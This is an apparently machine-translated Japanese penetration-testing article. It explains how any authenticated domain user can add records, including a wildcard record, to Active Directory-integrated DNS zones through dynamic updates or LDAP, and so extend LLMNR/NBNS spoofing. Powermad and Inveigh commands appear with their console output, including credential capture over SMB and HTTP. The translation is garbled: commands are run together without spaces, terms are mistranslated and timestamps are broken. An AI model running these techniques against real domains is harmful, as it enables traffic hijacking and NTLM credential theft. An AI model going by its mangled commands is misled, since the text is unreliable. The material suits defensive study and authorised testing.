この記事の目的のために、LLMNR/NBNSスプーフィングに関する2つの重要な部分を簡単に紹介します。まず、LLMNRおよびNBNSリクエストは、ルーターベースのトラフィックルーティングを実装することなく、それぞれ単一のマルチキャストまたはブロードキャストドメインに含まれています。これにより、潜在的な特権的なスプーフィング攻撃の対象となる侵入システムとセッションの影響の範囲を大幅に制限できます。第二に、デフォルトでは、Windowsシステムは、ネットワークプロトコルに基づいて名前解決を介して要求を解決しようとするときに次の優先リストを使用します。

1.DNS

2.llmnr

3.nbns

DNSは攻撃全体の一部として直接悪用されていませんが、リクエストをLLMNRまたはNBNSに引き渡すことができるため、DNSは実際にLLMNR/NBNSスプーフィングの有効性に大きな影響を与えます。基本的に、名前リクエストがDNSにリストされているレコードと一致する場合、クライアントは通常、LLMNRおよびNBNSを介して要求を解決しようとしません。

攻撃を実行するとき、ネットワークベースの名前解像度プロトコルの階層に対応する解像度順序を本当に満たす必要がありますか? DNSで直接解決する簡単な方法はありますか?ドメインには非主要なアクセスのみがあることを忘れないでください。この制限に基づいて攻撃を完了するために使用しなければならないものを見てみましょう。

Active Directory統合DNSゾーン

ドメインコントローラーとAdidnsゾーンは常に一緒に表示されます。通常、各ドメインコントローラーにはアクセス可能なDNSサーバーがあり、少なくともデフォルトのADIDNSゾーンをホストしています。

私が強調したい最初のデフォルト設定は、ADIDNSゾーンの自律アクセス制御リスト(DACL)です。

上の画像から、「認証されたユーザー」でデフォルトで領域がリストされていることがわかります。「すべての子オブジェクトの作成」があります。認証されたユーザーのドメイン名への操作のしきい値は非常に低いです。もちろん、これらのユーザーが操作できるドメイン名には、アクセスに特権を必要としないターゲットも含まれます。しかし、この機能をどのように活用できるか、そしてそれで何ができるかを明確にする必要がありますか?

adidnsゾーンを変更します

adidnsゾーンをリモートで変更する主な方法は2つあります。 1つ目は、RPCベースの管理ツールを使用することです。これらのツールを実行するには、通常、DNS管理者またはより高い権限が必要なので、これらのツールの機能については説明しません。 2番目の方法は、DNSダイナミックアップデートです。動的更新は、DNSゾーンの変更に特別に使用されるDNS固有のプロトコルです。広告の世界では、動的更新は主にコンピューターアカウントで使用され、独自のDNSレコードを追加および更新します。

これにより、関心のあるADIDNSゾーンの別のデフォルト設定、安全な動的アップデートの有効な状態になります。

動的アップデート

昨年、このデフォルト設定を延期中にこのデフォルト設定を簡単に活用できるようにするために、Invoke-Dnsupdateと呼ばれるPowerShell DNSダイナミックアップデートツールを開発しました。

PSC: \ users \ kevin \ desktop \ powermadinvoke-dnsupdate-dnstypea-dnsmatest-dnsdata192.168.125.100-verbose

Verbose: [+] Tkeyname648-MS-7.1-4675.57409638-8579-11E7-5813-000C296694E0

verbose: [+] kerberospreauthenticationsuccessful

verbose: [+] kerberostkeyquerysuccessful

[+] dnsupdatesuccessful

DNSレコードにアクセス許可を適用する方法を理解したら、安全な動的更新にルールを使用することは非常に簡単になります。ゾーンに一致するDNSレコード名がない場合、認証されたユーザーは対応するDNSレコードを作成できます。作成者アカウントは、DNSレコードの所有権または完全な制御を獲得します。

DNSゾーンに一致するレコード名が既に存在する場合、ユーザーが管理者である場合など、ユーザーが必要なアクセス許可を持っている場合を除き、認証されたユーザーはレコードの変更または削除を禁止されます。 DNSレコードの代わりにDNSレコード名を使用していることに注意してください。この点で、標準のDNSビューは混乱を招く可能性があります。実際、権限は、DNSコンソールで表示されている単一のDNSレコードではなく、DNSレコード名に基づいて適用されます。

たとえば、管理者が「テスト」という名前のレコードを作成した場合、非適切なアカウントは、DNSループセットアップの一部として「テスト」という名前の2番目のレコードを作成できません。これは、複数のDNSレコードタイプにも適用されます。デフォルトがDNSゾーンのルートゾーンにレコードが存在する場合、両方のレコードが内部的に「@」という名前のために、非特徴のアカウントはDNSゾーンのルートMXレコードを作成できません。この記事では、DNSレコードを別の観点から見ていきます。これは、名前でグループ化されたAdidnsレコードのより良い見解を提供します。

以下は、KerberosやLDAPなどの広告サービスに影響を与えないようにするためのデフォルトのレコードです。

非主要なユーザーの動的な更新を通じて作成できるレコードの種類にはほとんど制限はありません。作成できるタイプは、Windows Server Dynamic Updateの実装によってサポートされているタイプに限定されます。最も一般的なレコードタイプは一般的にサポートされています。 Invoke-DnSupdateは現在、A、AAAA、CNAME、MX、PTR、SRV、およびTXTレコードをサポートしています。一般に、DNSレコードを追加することが存在しておらず、DNSレコードの追加に値する場合、攻撃者は確実に別々のセキュリティ動的更新を悪用することができます。

動的更新を備えたLLMNR/NBNSスプーフィングをサプリメントします

セキュリティの動的更新を兵器化し、LLMNR/NBNSスプーフィングのように実行できるようにするために、受信したLLMNR/NBNSリクエストに合わせて対応するためにレコードをADIDNSに注入する方法を検討しました。理論的には、LLMNR/NBNSにドロップできるDNSには記録がないはずです。したがって、これらのレコードでは、認証されたユーザーが作成する必要があります。この方法は、イントラネットでは一般的ではない、または要求された1回だけの名前には実用的ではありません。ただし、LLMNR/NBNSを介して同じリクエストが表示され続けると、DNSにそのレコードを追加することが役立つ場合があります。

このテクノロジーのバリエーションは、今後のInveighバージョンに含まれています。 Inveighが複数のシステムから同じLLMNR/NBNSリクエストを検出した場合、一致するレコードをADIDNSに追加できます。このアプローチは、システムがDNSに存在しなくなった古いホストに対してLLMNR/NBNS名解像度要求を送信する場合に効果的です。サブネット内の複数のシステムが特定の名前を解決しようとしている場合、外部システムが同じ名前を解決しようとする可能性もあります。この場合、adidnsの注入は、攻撃をサブネット境界に拡張するのに役立ちます。

PSC: \ users \ kevin \ desktop \ inveighinvoke-inveigh-consoleoutputy-dnsy-dnsthreshold4

[*] inveigh1.4devstartedat2018-07-05t22:32:37

[+] ElevatedPrivileGeMode=enabled

[+] PrimaryPaddress=192.168.125.100

[+] llmnr/nbns/mdns/dnsspooferipaddress=192.168.125.100

[+] llmnrspoofer=enabled

[+] dnsinjection=enabled

[+] smbcapture=enabled

[+] httpcapture=enabled

[+] httpscapture=disabled

[+] http/httpsauthentication=ntlm

[+] wpadauthentication=ntlm

[+] WPADDEFAULTRESPONSE=ENABLED

[+] realtimeConsoleOutput=enabled

警告: [!] runstop-inveightestopoptop

[*] PressanyKeyTostostoprealTimeConsoleOutput

[+] [2018-07-05T222:32:52] llmnrrequestfordnsinjecteivedfrom192.168.125.102 [応答]

[+] [2018-07-05T22:00] llmnrRrequestfordnsinjecteivedfrom192.168.125.100 [Responsesent]

[+] [2018-07-05T222:35:00] llmnrrequestnsinjed receivedfrom192.168.125.104 [Responsesent]

[+] [2018-07-05T222:41:00] llmnrRrequestnsinjecteivedfrom192.168.125.105 [Responsesent]

[+] [2018-07-05T222:50336000] llmnrrequestfordnsinjecteivedfrom192.168.125.106 [Responsesent]

警告: [!] [2018-07-05T22:33333:01] dns(a)Recordfordnsinjectadded

方法を覚えておいてください

Protocol自体や、理想的なセキュリティダイナミックアップデート攻撃を見つけようとするときに既に存在するデフォルトのDNSレコードに困難がありました。前述のように、私はInveighで動的更新攻撃を実装することを計画していたので、浸透テストでこの手法をどのように使用するかについてもっと考え始めました。侵入テスターがこの攻撃が機能することを確認するのを支援するために、私は、非主要なアカウントのコンテキストを通じてadidnsゾーンのアクセス許可を表示できるPowerShell関数を作成することが役立つことに気付きました。しかし、管理者のみが使用許可を持っているツールを使用しない場合、DACLSをリモートで列挙できますか? Adidnsの研究に関与していなかった私の脳の部分はすぐに答えました:「DNSゾーンはADに保存され、LDAPを介してDACLを見てください」。

ldap…

.使用していないDNSゾーンを表示する別の方法があるようです。

ネットワーク管理者としての仕事中に遭遇したかもしれないことを思い出し、Adidnsゾーンは現在domaindnszonesまたはforestdnszonesパーティションに保存されていることを発見しました。

LDAPは、「認証されたユーザー」が動的更新に依存することなくAdidnsゾーンを変更する方法を提供します。 DNSNodeクラスのADオブジェクトを作成することにより、LDAPを介してADIDNSゾーンにDNSレコードを直接追加できます。

この簡単な理解で、私は今、私が追いかけていたDNS攻撃を実行する方法があります。

ワイルドカードレコード

WildCardレコードにより、DNSはLLMNR/NBNSスプーフィングと非常によく似た方法で実行できます。ワイルドカードレコードが作成された後、DNSサーバーはレコードを使用して、ゾーンに含まれるレコードの名前リクエストに応答しますが、明示的に一致しません。

psc: \ users \ kevin \ desktop \ powermadresolve-dnsnamednsrecord

NameTypettlSectionIpAddress

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

nodnsrecord.inveigh.neta600answer192.168.125.100

LLMNR/NBNSとは異なり、WildCard Recordsは、ADIDNSゾーンに一致する完全に適格な名前のリクエストも解決します。

PSC: \ users \ kevin \ desktop \ powermadresolve-dnsnamenodnsrecord2.inveigh.net

NameTypettlSectionIpAddress

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -

nodnsrecord2.inveigh.neta600answer192.168.125.100

WildCardレコードを使用して注入する私のプロセスは、動的更新自体のいくつかの制限によってブロックされています。動的な更新の場合、少なくともWindowsシステムは、実装されたときに「*」文字を正しく処理していないようです。ただし、LDAPには同じ問題はありません。

psc: \ users \ kevin \ desktop \ powermadnew-adidnsnode*-verbose

verbose: [+] domaincontroller=inveigh-dc1.inveigh.net

verbose: [+] domain=inveigh.net

verbose: [+] adidnszone=inveigh.net

Verbose: [+] DistinguishedName=dc=*、dc=inveigh.net、cn=microsoftdns、dc=domaindnszones、dc=inveigh、dc=net

verbose: [+] data=192.168.125.100

Verbose: [+] DNSRecordArray=04-00-01-00-05-F0-00-00-00-BA-00-00-00-00-02-58-00-00-00-00-22-D8-37-00-C0-A8-7D-64

[+] adidnsnode*追加

名前

研究のペースを取り戻し、DNSノードがAdidnsレコードを形成するためにどのように使用されるかを見てみましょう。 ADIDNSレコードの主な構造は、DNSRecordプロパティに保存されます。この属性は、レコードタイプ、宛先IPアドレス、ホスト名などの要素、および静的および動的分類などの要素を定義します。

名前以外のすべての主要なレコードの詳細は、DNSRecordに保存されます。興味がある場合は、MS-DNSPのプロパティ構造に関する詳細情報を見つけることができます。

A、AAAA、CNAME、DNAME、MX、NS、PTR、SRV、TXTなどのこれらのレコードタイプのDNSRecord配列を作成できるNew-DNSRecordArrayというPowerShell関数を作成しました。

PSC: \ users \ kevin \ desktop \ powermad $ dnsrecord=new-dnsrecordarray-typea-data192.168.125.100

PSC: \ users \ kevin \ desktop \ powermad [system.bitconverter] :toString($ dnsrecord)

04-00-01-00-05-F0-00-00-BA-00-00-00-00-00-02-58-00-00-00-00-79-D8-37-00-C0-A8-7D-64

前に述べたように、LDAPは、DNSレコードのマッチング名がどのようにまとめられているかを確認する方が良いと考えています。単一のDNSノードには、DNSRecordプロパティに複数の行を含めることができます。各行は、同じ名前の個別のDNSレコードを表します。以下は、「@」という名前のノードのDNSRecordプロパティに含まれる複数のレコードの例です。

既存のプロパティ値を上書きする代わりに、最後にAppendingを使用することにより、新しい行をNodeのDNSRecordプロパティに追加できます。 PowerShell関数編集用に作成したPowerShell関数Set-AdidnsNodeattributeには、これを行うために使用できる「追加」スイッチがあります。

同期と複製

LDAPを介してAdidNSゾーンを変更すると、LDAPにノードを追加することとDNSでのそのレコードの発生との間に遅延が見つかる場合があります。これは、DNSサーバーのサービスがADIDNSゾーンの独自のメモリコピーを使用しているためです。デフォルトでは、DNSサーバーは180秒ごとにADでメモリのコピーを同期します。

大規模なマルチサイトADインフラストラクチャでは、ドメインコントローラーの複製時間が、Adidnsのスプーフィング攻撃を開始するための要因とタイミングになる可能性があります。エンタープライズイントラネットでは、追加するレコードの影響の範囲を完全に拡張および利用するために、攻撃時間は複製遅延時間を延長する必要があります。デフォルトでは、サイト間の複製には最大3時間かかる場合があります。遅延を減らすために、最大の攻撃効果を持つDNSサーバーを見つけることで攻撃を開始できます。イントラネット環境で各DNSサーバーにレコードを追加し、レプリケーションが機能する前にジャンプすることは、複製が完了すると、ADは重複オブジェクトを並べ替える必要があることを忘れないでください。

SOAシリアル番号

ADIDNSゾーンを使用する際に考慮すべきもう1つの要因は、ネットワーク上の他の統合DNSサーバーの存在の可能性です。サーバーがスレーブDNSゾーンをホストする場合、シリアル番号を使用して、変更が発生したかどうかを判断します。幸いなことに、LDAPを介してDNSノードを追加すると、シーケンス番号が増加します。増分シーケンス番号をノードのDNSRecord配列に含める必要があり、スレーブエリアをホストするサーバーにレコードをコピーできるようにします。領域のSOAシーケンス番号は、すべてのノードのDNSRecord属性にリストされている最高の数字です。ここでは、SOAシーケンス数は1のみで増分され、領域のシーケンス数が不必要に増加するのを防ぐことに注意する必要があります。 New-SoaserialNumberArrayと呼ばれるPowerShell関数を作成し、プロセスを簡素化しました。

psc: \ users \ kevin \ desktop \ powermadnew-soaserialnumbumberarray

62

0

0

0

SOAシリアル番号は、nslookupを通じて取得することもできます。

PSC: \ users \ kevin \ desktop \ powermadnslookup

DefaultServer:Unknown

address:192.168.125.10

setType=SOA

Investeigh.net

server3360Unknown

address:192.168.125.10

Investeigh.net

PrimaryNamesErver=inveigh-dc1.inveigh.net

ressionblemailaddr=hostmaster.inveigh.net

シリアル=255